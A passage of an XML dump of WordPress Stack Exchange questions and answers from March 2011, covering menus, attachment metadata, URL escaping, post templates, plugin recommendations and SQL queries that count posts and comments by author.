wp_postmeta" Tags="&lt;images&gt;&lt;database&gt;&lt;post-meta&gt;&lt;array&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="13561" PostTypeId="2" ParentId="13560" CreationDate="2011-03-30T22:34:10.010" Score="2" ViewCount="" Body="&lt;p&gt;General idea would be to loop through all attachments to retrieve, modify and write back their meta.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this (test thoroughly before using on anything important):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts(array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; -1,&#xA;));&#xA;&#xA;foreach( $posts as $post ) {&#xA;&#xA;    // retrieve data, unserialized automatically&#xA;    $meta = get_post_meta($post-&amp;gt;ID,'_wp_attachment_metadata', true);&#xA;&#xA;    // do stuff with $meta array&#xA;&#xA;    // write it back&#xA;    update_post_meta($post-&amp;gt;ID, '_wp_attachment_metadata', $meta);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-30T22:34:10.010" CommentCount="2" />
  <row Id="13562" PostTypeId="2" ParentId="13556" CreationDate="2011-03-30T22:42:02.097" Score="2" ViewCount="" Body="&lt;p&gt;Not sure I understand your specifics, add details if I am off. I assume:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your shortcode inside post's content.&lt;/li&gt;&#xA;&lt;li&gt;You have custom field in that post with value you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In this case declare in your shortcode function &lt;code&gt;global $post;&lt;/code&gt; and use &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; to retrieve custom field.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-30T22:42:02.097" CommentCount="4" />
  <row Id="13563" PostTypeId="2" ParentId="13558" CreationDate="2011-03-30T22:49:15.180" Score="1" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_link&quot; rel=&quot;nofollow&quot;&gt;wp_insert_link()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-30T22:49:15.180" CommentCount="1" />
  <row Id="13564" PostTypeId="1" CreationDate="2011-03-30T23:18:02.440" Score="1" ViewCount="259" Body="&lt;p&gt;hey all,&lt;br&gt;&#xA;i'm writing an automated function that generates a menu from a function. it calls wp_nav_menu on each item from an array, because i want this to be dynamic. the problem is, no matter how i set it, if the menu doesn't exist, wp_nav_menu is generating a menu, eg the 'default'. here is my code (items is just a set of strings):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for($i=0;$i&amp;lt;count($items);$i++) {&#xA;&#xA;    $themenu=$items[$i];&#xA;&#xA;    $mymenu = wp_nav_menu(array(&#xA;            'menu' =&amp;gt; $themenu,&#xA;            'menu_class' =&amp;gt; 'mymenu',&#xA;            'container' =&amp;gt; 'false',&#xA;            'fallback_cb' =&amp;gt; 'false',&#xA;            'echo' =&amp;gt; false&#xA;            )&#xA;        );  &#xA;&#xA;    echo $themenu;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i know its partially working, because if $themenu exists, it shows the correct one. but if it doesn't, it'll just show any menu! not just annoying, but also actively breaks the user experience.&lt;/p&gt;&#xA;" OwnerUserId="3000" LastEditorUserId="3000" LastEditorDisplayName="" LastEditDate="2011-03-31T13:36:26.043" LastActivityDate="2011-08-07T23:20:45.957" Title="wp_nav_menu always falls back to a menu" Tags="&lt;menus&gt;&lt;navigation&gt;" AnswerCount="3" CommentCount="6" />
  <row Id="13565" PostTypeId="2" ParentId="10714" CreationDate="2011-03-30T23:23:19.950" Score="-1" ViewCount="" Body="&lt;p&gt;Are you running the DNS On the same machine, maybe let the Registrar handle that.. &lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2011-03-30T23:23:19.950" />
  <row Id="13566" PostTypeId="1" AcceptedAnswerId="13571" CreationDate="2011-03-30T23:24:04.510" Score="0" ViewCount="135" Body="&lt;p&gt;I recently updated my site to 3.1 and now the frontend of the site will not load. The weird thing is the admin section does load and is some what functional (sometimes the pages go blank and I have to reload, and sometimes reloads don't work). I had to install and activate a maintenance plugin while I try to trouble shoot the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to recall anything that I mightve done to cause this and can't see what caused this. I notice that if I visit my domain, with my maintenance plugin activated, it will show the maintenance message, but if the maintenance plugin is not activate this site loads a blank page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In in the general settings, I changed the &quot;wordpress address&quot; to see if that would somehow load the site by putting the direct url location of the site, but that didn't work. With the actual domain in both fields (wordpress address and site address), the admin works but the frontend doesn't load except in maintenance mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some advice with this. I just went in to do a little maintenance and I spending 4-5 hours on this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link to my site is &lt;strong&gt;&lt;a href=&quot;http://www.doctorstvnetwork.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a common problem on updates? I hope this is fixable, if not is it possible to downgrade wp to the previous version (if its necessary)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help with this.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-04-30T04:42:30.050" Title="Site DOES NOT LOAD after 3.1 update" Tags="&lt;php&gt;&lt;3.1&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="13567" PostTypeId="1" AcceptedAnswerId="13978" CreationDate="2011-03-30T23:29:59.100" Score="1" ViewCount="134" Body="&lt;p&gt;On editing the attachments of a post whith at least one attachment previously uploaded, how do I remove the &lt;em&gt;From computer&lt;/em&gt; tab and redirect to the &lt;em&gt;Gallery&lt;/em&gt; tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ZqScV.png&quot; alt=&quot;The &amp;quot;Add an Image&amp;quot; tabs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('media_upload_tabs','remove_medialibrary_tabs', 99);&#xA;function remove_medialibrary_tabs($tabs) {&#xA;    if ($post_id = (isset($_REQUEST['post_id']) ? $_REQUEST['post_id'] : false)) {&#xA;        if (count(get_posts(&quot;post_type=attachment&amp;amp;post_parent={$post_id}&quot;))&amp;gt;0) {&#xA;            // MY QUESTION&#xA;        }&#xA;    }&#xA;&#xA;    unset($tabs['type_url']);&#xA;    unset($tabs['library']);&#xA;&#xA;    return $tabs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T13:43:55.650" LastActivityDate="2011-04-05T14:05:14.727" Title="Remove &quot;From computer&quot; media tab for posts with existing attachments?" Tags="&lt;wp-admin&gt;&lt;attachments&gt;&lt;post-editor&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13568" PostTypeId="2" ParentId="9390" CreationDate="2011-03-30T23:30:36.980" Score="0" ViewCount="" Body="&lt;p&gt;Make sure you install FIrebug and myabe that YSlow script to see whats holding it up. GO to NEt tab and click ALL, it gives you load time of each dependency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sean&#xA;&lt;a href=&quot;http://www.thejumpstarter.com&quot; rel=&quot;nofollow&quot;&gt;Internet Marketing Guides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2011-03-30T23:30:36.980" />
  <row Id="13569" PostTypeId="1" CreationDate="2011-03-30T23:33:30.923" Score="0" ViewCount="70" Body="&lt;p&gt;I am VERY close to time figuring out this slow loading site. I have pinpointed it to the loading of the  &quot;wp-admin&quot; directory from the front end website, adding 5 to 30 sec's to load time. Not sure why its doing it, but I have tried everything. My OTHER WPMU installs are not doing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried another WP Directory of php files on this install. No luck. &lt;Br&gt;&#xA;I tried stopping all Plugins, No luck. &lt;br&gt;&#xA;I have swapped out one of my other installs wp-options table cause it didn't do this, and that didn't even work&#xA;However, when I totally remove the wp-options TABLE, it stops loading that directory, and all other sites work except the root one which is fine, I don't use it. In fact, the front end was having trouble loading in the first place wich might be part of my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO what is causing the front end to want to pull up the wp-admin or authenticate? All my WPMU installs have the same plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;sean&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditorDisplayName="" LastEditDate="2011-03-31T05:12:38.197" LastActivityDate="2011-03-31T05:12:38.197" Title="WPMU Install SLow - Firebug Shows Loading WP-admin Directory - Can't Stop it" Tags="&lt;wp-admin&gt;&lt;loading-time&gt;" CommentCount="4" />
  <row Id="13570" PostTypeId="1" AcceptedAnswerId="13626" CreationDate="2011-03-30T23:46:09.543" Score="1" ViewCount="462" Body="&lt;p&gt;Hey all,&#xA;I'm using &lt;a href=&quot;http://jqueryui.com/demos/tabs&quot; rel=&quot;nofollow&quot;&gt;Jquery UI tabs&lt;/a&gt; with the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-post-tabs/&quot; rel=&quot;nofollow&quot;&gt;WordPress Post Tabs plugin&lt;/a&gt; and it works like a charm. However, I'd like to auto disable or hide tabs that do not have any data. I've worked with Jquery quite a bit but I'm lost in this mess. Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jqueryui.com/demos/tabs/&quot; rel=&quot;nofollow&quot;&gt;Jquery Tabs Information from the official site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initialize a tabs with the disabled option specified.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$( &quot;.selector&quot; ).tabs({ disabled: true });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Get or set the disabled option, after init.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var disabled = $( &quot;.selector&quot; ).tabs( &quot;option&quot;, &quot;disabled&quot; );&#xA;//setter&#xA;$( &quot;.selector&quot; ).tabs( &quot;option&quot;, &quot;disabled&quot;, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Found in wordpress-post-tabs.php line 105&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(function() {&#xA;    &amp;lt;?php &#xA;    if($wpts_count and $wpts_count!=0){ &#xA;      for($i=0;$i&amp;lt;$wpts_count;$i++) {   ?&amp;gt;&#xA;        jQuery(&quot;#tabs_&amp;lt;?php echo $i;?&amp;gt;&quot;).tabs({ cookie: { expires: 30 } });&#xA;        //getter&#xA;        var cookie = jQuery(&quot;#tabs_&amp;lt;?php echo $i;?&amp;gt;&quot;).tabs( &quot;option&quot;, &quot;cookie&quot; );&#xA;        //setter&#xA;        jQuery(&quot;#tabs_&amp;lt;?php echo $i;?&amp;gt;&quot;).tabs( &quot;option&quot;, &quot;cookie&quot;, { expires: 30 } );&#xA;        &amp;lt;?php if(isset($wpts['fade']) and $wpts['fade']=='1'){ ?&amp;gt;&#xA;            //fx for animation&#xA;            jQuery(&quot;#tabs_&amp;lt;?php echo $i;?&amp;gt;&quot;).tabs({ fx: { opacity: 'toggle' } });&#xA;            //getter&#xA;            var fx = jQuery(&quot;#tabs_&amp;lt;?php echo $i;?&amp;gt;&quot;).tabs( &quot;option&quot;, &quot;fx&quot; );&#xA;            //setter&#xA;            jQuery(&quot;#tabs_&amp;lt;?php echo $i;?&amp;gt;&quot;).tabs( &quot;option&quot;, &quot;fx&quot;, { opacity: 'toggle' } );&#xA;       &amp;lt;?php }}} ?&amp;gt; &#xA;    });&#xA;&amp;lt;?php if($wpts['reload']=='1') { ?&amp;gt;&#xA;    function wptReload(ar)&#xA;    {&#xA;     location.href=location.href.split(/\?|#/)[0] + '#' + ar;  &#xA;     location.reload(true);&#xA;     return false;&#xA;    }&#xA;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-06T16:27:48.810" Title="Disable Jquery UI post tabs" Tags="&lt;posts&gt;&lt;jquery&gt;&lt;tabs&gt;" AnswerCount="1" />
  <row Id="13571" PostTypeId="2" ParentId="13566" CreationDate="2011-03-30T23:50:48.293" Score="1" ViewCount="" Body="&lt;p&gt;I've had this same issue a couple of times now. Generally I've resolved it by manually downloading 3.1 and replacing the files in the directory. After the transfer is complete I was able to log in and update my database with the drop-down it presented.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-30T23:50:48.293" CommentCount="1" />
  <row Id="13572" PostTypeId="1" AcceptedAnswerId="13580" CreationDate="2011-03-31T00:12:31.540" Score="3" ViewCount="176" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/formatting.php#L2239&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/trunk/wp-includes/formatting.php#L2239&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm confused about when should either of them be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I have this URL: &lt;code&gt;http://site.com/?getsomejavascript=1&lt;/code&gt;, which is dynamically generated javascript:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;if I include the script with &lt;code&gt;esc_url(add_query_arg('apples', 420))&lt;/code&gt;, I get &lt;code&gt;http://site.com/?getsomejavascript=1&amp;amp;#038;apples=420&lt;/code&gt; and it breaks because of those &lt;code&gt;#038;&lt;/code&gt; references&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if I use &lt;code&gt;esc_url_raw(add_query_arg('apples', 420))&lt;/code&gt; I get the correct URL: &lt;code&gt;http://site.com/?getsomejavascript=1&amp;amp;apples=420&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but in the documentation I find out that esc_url_raw should only be used to escape URLs inserted in the database...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-03-31T17:07:21.813" Title="Difference between esc_url() and esc_url_raw()" Tags="&lt;urls&gt;&lt;escaping&gt;" AnswerCount="1" />
  <row Id="13573" PostTypeId="1" AcceptedAnswerId="13574" CreationDate="2011-03-31T00:14:34.803" Score="1" ViewCount="48" Body="&lt;p&gt;Is it possible to make a template for all posts in a custom post type? For example I would like to be able to change an adsense ad or some other element on every post by simply editing a custom template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been experimenting with templates that are pretty static, but I am stumped on which one to copy/edit for the posts.&lt;/p&gt;&#xA;" OwnerUserId="3971" LastActivityDate="2011-05-05T18:11:19.737" Title="Troubles with making a custom template for posts" Tags="&lt;custom-post-types&gt;&lt;page-template&gt;" AnswerCount="2" />
  <row Id="13574" PostTypeId="2" ParentId="13573" CreationDate="2011-03-31T00:31:15.740" Score="3" ViewCount="" Body="&lt;p&gt;Yes it possible, take a look at &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Template Hierarchy codex entry&lt;/strong&gt;&lt;/a&gt; to get a better idea but the simple answer is to create a template for all of you custom post type posts&#xA;create a template and name it &lt;code&gt;single-{post_type}.php&lt;/code&gt; so if your post type is named dogs then your template file should be named &lt;code&gt;single-dogs.php&lt;/code&gt; and automatically this template file will be used to display all of the dogs post type posts and once you edit that file it will effect all of the posts of that type.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-31T00:31:15.740" CommentCount="1" />
  <row Id="13575" PostTypeId="2" ParentId="2121" CreationDate="2011-03-31T00:48:33.610" Score="1" ViewCount="" Body="&lt;p&gt;The new &lt;a href=&quot;http://wordpress.org/extend/plugins/jetpack/&quot; rel=&quot;nofollow&quot;&gt;Jetpack plugin&lt;/a&gt; from Automattic (released March 2011) uses the same stats system as the old WordPress.com Stats plugin, it is easier to set up (no API key), and it looks nicer and provides more features. I'd say go with Jetpack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm the developer of both WordPress.com Stats and the Stats module for Jetpack.)&lt;/p&gt;&#xA;" OwnerUserId="498" LastActivityDate="2011-03-31T00:48:33.610" CommentCount="1" />
  <row Id="13577" PostTypeId="2" ParentId="13564" CreationDate="2011-03-31T01:35:44.297" Score="0" ViewCount="" Body="&lt;p&gt;Try wrapping your echo inside of a &lt;code&gt;has_nav_menu()&lt;/code&gt; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for($i=0;$i&amp;lt;size($items);$i++) {&#xA;&#xA;    $themenu=$items[$i];&#xA;&#xA;    $mymenu = wp_nav_menu(array(&#xA;            'menu' =&amp;gt; $themenu,&#xA;            'menu_class' =&amp;gt; 'mymenu',&#xA;            'container' =&amp;gt; 'false',&#xA;            'fallback_cb' =&amp;gt; 'false',&#xA;            'echo' =&amp;gt; false&#xA;            )&#xA;        );  &#xA;&#xA;    if ( has_nav_menu( $themenu ) ) echo $themenu;&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(If I'm following your code correctly...)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-03-31T01:35:44.297" CommentCount="1" />
  <row Id="13578" PostTypeId="1" AcceptedAnswerId="13585" CreationDate="2011-03-31T02:33:10.487" Score="1" ViewCount="74" Body="&lt;p&gt;I've been using drupal for a few years and it's overkill. I want to pay someone to migrate my content (blog posts and pages) over to wordpress without spending more than is necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a specific site such as odesk, elance, guru, rentacoder, etc. that is popular with wordpress programmers and tends to have the best rates? Thanks...&lt;/p&gt;&#xA;" OwnerUserId="4335" LastActivityDate="2011-05-26T15:01:29.947" Title="Which freelance sites are recommended to find WordPress developers/programmers, etc" Tags="&lt;development&gt;" AnswerCount="3" />
  <row Id="13579" PostTypeId="2" ParentId="13564" CreationDate="2011-03-31T03:17:35.323" Score="0" ViewCount="" Body="&lt;p&gt;From the Codex entry for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;wp_nav_menu()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$fallback_cb (string) (optional) If&#xA;  the menu doesn't exist, the fallback&#xA;  function to use. &lt;strong&gt;Set to false for no&#xA;  fallback.&lt;/strong&gt; Default: wp_page_menu&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So have you tried passing &lt;code&gt;'fallback_cb' =&amp;gt; false&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the comment below, &lt;code&gt;'fallback_cb' =&amp;gt; 'false'&lt;/code&gt; is telling &lt;code&gt;wp_nav_menu()&lt;/code&gt; to fallback to a function called &lt;code&gt;false()&lt;/code&gt;, and since this function doesn't exist, it falls back to its normal fallback, &lt;code&gt;wp_page_menu()&lt;/code&gt;. So, use &lt;code&gt;'fallback_cb' =&amp;gt; false&lt;/code&gt; (i.e. a &lt;em&gt;boolean&lt;/em&gt; value, rather than a &lt;em&gt;string&lt;/em&gt; value).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-31T11:25:56.437" LastActivityDate="2011-03-31T11:25:56.437" CommentCount="7" />
  <row Id="13580" PostTypeId="2" ParentId="13572" CreationDate="2011-03-31T03:26:55.537" Score="4" ViewCount="" Body="&lt;p&gt;From the &lt;a href=&quot;http://codex.wordpress.org/Data_Validation#URLs&quot; rel=&quot;nofollow&quot;&gt;Codex entry for Data Validation: URLs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;esc_url( $url, (array) $protocols =&#xA;  null )&lt;/code&gt; (since 2.8)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Always use esc_url when sanitizing&#xA;  URLs (in text nodes, attribute nodes&#xA;  or anywhere else). Rejects URLs that&#xA;  do not have one of the provided&#xA;  whitelisted protocols (defaulting to&#xA;  http, https, ftp, ftps, mailto, news,&#xA;  irc, gopher, nntp, feed, and telnet),&#xA;  eliminates invalid characters, and&#xA;  removes dangerous characters.&#xA;  Deprecated since 3.0: clean_url() This&#xA;  function encodes characters as HTML&#xA;  entities: use it when generating an&#xA;  (X)HTML or XML document. Encodes&#xA;  ampersands (&amp;amp;) and single quotes (')&#xA;  as numeric entity references (&amp;#038,&#xA;  &amp;#039).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;esc_url_raw( $url, (array) $protocols&#xA;  = null )&lt;/code&gt; (since 2.8)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For inserting an URL in the database.&#xA;  This function does not encode&#xA;  characters as HTML entities: use it&#xA;  when storing a URL or in other cases&#xA;  where you need the non-encoded URL.&#xA;  This functionality can be replicated&#xA;  in the old clean_url function by&#xA;  setting $context to db.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, the primary differences appear to be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;esc_url()&lt;/code&gt; encodes HTML entities,&#xA;while &lt;code&gt;esc_url_raw()&lt;/code&gt; does not&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;esc_url()&lt;/code&gt; is intended for&#xA;&lt;em&gt;output&lt;/em&gt;, while &lt;code&gt;esc_url_raw()&lt;/code&gt; is intended for &lt;em&gt;database storage&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are either hard-coding (or saving/storing separately) the actual URL from the query string, and then appending the query string via &lt;code&gt;[add_query_arg()][2]&lt;/code&gt;, might it be better to escape your appended query string via &lt;code&gt;esc_js()&lt;/code&gt;, rather than &lt;code&gt;esc_url()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_query_arg( esc_js( 'apples' ), esc_js( '420' ), $myurl )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-03-31T17:07:21.813" LastActivityDate="2011-03-31T17:07:21.813" CommentCount="7" />
  <row Id="13582" PostTypeId="1" CreationDate="2011-03-31T03:38:09.203" Score="3" ViewCount="105" Body="&lt;p&gt;I want to have a page listing all the authors and the number of posts each of them has published. Is there a plugin that does this already? Being able to count number of comments as well would be a plus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="4336" LastActivityDate="2011-03-31T05:48:59.497" Title="Is there a plugin that counts posts by author?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="13584" PostTypeId="2" ParentId="13566" CreationDate="2011-03-31T03:59:20.870" Score="0" ViewCount="" Body="&lt;p&gt;Very typical things to do: Rename your plugins folder to old_plugins to deactivate all plugins. Switch to Twenty Ten and see if it works, too. Then reactivate plugins one by one until it white screens again.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-31T03:59:20.870" CommentCount="1" />
  <row Id="13585" PostTypeId="2" ParentId="13578" CreationDate="2011-03-31T04:00:58.267" Score="1" ViewCount="" Body="&lt;p&gt;oDesk has lot of WordPress developers that could migrate your site from Drupal to WordPress at low cost. I like oDesk because it takes screen shots every few minutes as the contractor's work on your job. You can monitor their work very effectively, particularly if you understand the work being done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case if you don't want any changes to the site, you could easily post this as a fixed price job, which would probably give you the lowest cost. Looking at the numerous other WordPress jobs listed on oDesk is a good way to see how to post your job - a well crafted job post will get you a better result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a practical note I would suggest you consider selecting a WordPress theme you would like use before posting your migration job on oDesk. Take this chance to update your site and migrate to a solid, well supported WordPress theme which meets your functional and visual requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the theme you select needs to customised in any way to meet your requirements, make sure the developer does this via a child theme, so that you can have easy upgrading of the parent theme.&lt;/p&gt;&#xA;" OwnerUserId="4311" LastActivityDate="2011-03-31T04:00:58.267" CommentCount="1" />
  <row Id="13586" PostTypeId="2" ParentId="13578" CreationDate="2011-03-31T04:03:21.367" Score="1" ViewCount="" Body="&lt;p&gt;Most of those sites allow you to search for freelancers without opening an account to see how many/what quality WP consultants are there, their rank, feedback, etc. Elance seems to be the busiest. Rates are all set by the individual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jobs.wordpress.net/&quot; rel=&quot;nofollow&quot;&gt;http://jobs.wordpress.net/&lt;/a&gt; is free to list, but there is no feedback or ranking system.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-31T04:03:21.367" />
  <row Id="13587" PostTypeId="1" AcceptedAnswerId="13588" CreationDate="2011-03-31T04:42:18.217" Score="1" ViewCount="90" Body="&lt;p&gt;I have developed a site in worpdress. I need to manage a different questions like &quot;How would you rate our customer service&quot;, &quot;How satisfied were you with our service&quot; and more questions and rate these questions and have view on the admin. I tried to find the plugin but could not find. Can anyone let me know if that type of plugin exists or do I need to do with my own codes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-03-31T04:55:46.637" Title="Is there a plugin for rating of multiple questions for wordpress?" Tags="&lt;rating&gt;" AnswerCount="1" />
  <row Id="13588" PostTypeId="2" ParentId="13587" CreationDate="2011-03-31T04:55:46.637" Score="3" ViewCount="" Body="&lt;p&gt;Yes, there is a plugin - GD Star Ratings.  I am using it here: &lt;a href=&quot;http://apluginforthat.com/gd-star-ratings/&quot; rel=&quot;nofollow&quot;&gt;http://apluginforthat.com/gd-star-ratings/&lt;/a&gt;.  You can customize your questions, type of ratings (thumbs up/down vs stars) and much more.  You can also configure it to have the ratings appear in your dashboard.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2011-03-31T04:55:46.637" CommentCount="2" />
  <row Id="13590" PostTypeId="2" ParentId="13582" CreationDate="2011-03-31T05:48:59.497" Score="3" ViewCount="" Body="&lt;p&gt;I don't know about a plugin but you can use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In author.php you can use this to count posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wp_query;&#xA;$curauth = $wp_query-&amp;gt;get_queried_object();&#xA;$post_count = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;posts WHERE post_author = '&quot; . $curauth-&amp;gt;ID . &quot;' AND post_type = 'post' AND post_status = 'publish'&quot;);&#xA;?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Post Count: &amp;lt;?php echo $post_count; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside a Loop you can use this to count posts and comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wpdb;&#xA;$user_id = $post-&amp;gt;post_author;  //change this if not in a std post loop&#xA;$where = 'WHERE comment_approved = 1 AND user_id = ' . $user_id ;&#xA;$comment_count = $wpdb-&amp;gt;get_var(&#xA;    &quot;SELECT COUNT( * ) AS total&#xA;        FROM {$wpdb-&amp;gt;comments}&#xA;        {$where}&#xA;    &quot;);&#xA;$user = get_userdata($user_id);&#xA;$post_count = get_usernumposts($user-&amp;gt;ID);&#xA;echo '&amp;lt;p&amp;gt;User ' . $user-&amp;gt;display_name . ' post count is ' . $post_count .', comment count is ' . $comment_count . '&amp;lt;/p&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For All Authors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wpdb;&#xA;$where = 'WHERE comment_approved = 1 AND user_id &amp;lt;&amp;gt; 0';&#xA;$comment_counts = (array) $wpdb-&amp;gt;get_results(&quot;&#xA;        SELECT user_id, COUNT( * ) AS total&#xA;        FROM {$wpdb-&amp;gt;comments}&#xA;        {$where}&#xA;        GROUP BY user_id&#xA;    &quot;, object);&#xA;foreach ( $comment_counts as $count ) {&#xA;  $user = get_userdata($count-&amp;gt;user_id);&#xA;  $post_count = get_usernumposts($user-&amp;gt;ID);&#xA;  echo '&amp;lt;p&amp;gt;User ' . $user-&amp;gt;display_name . ' 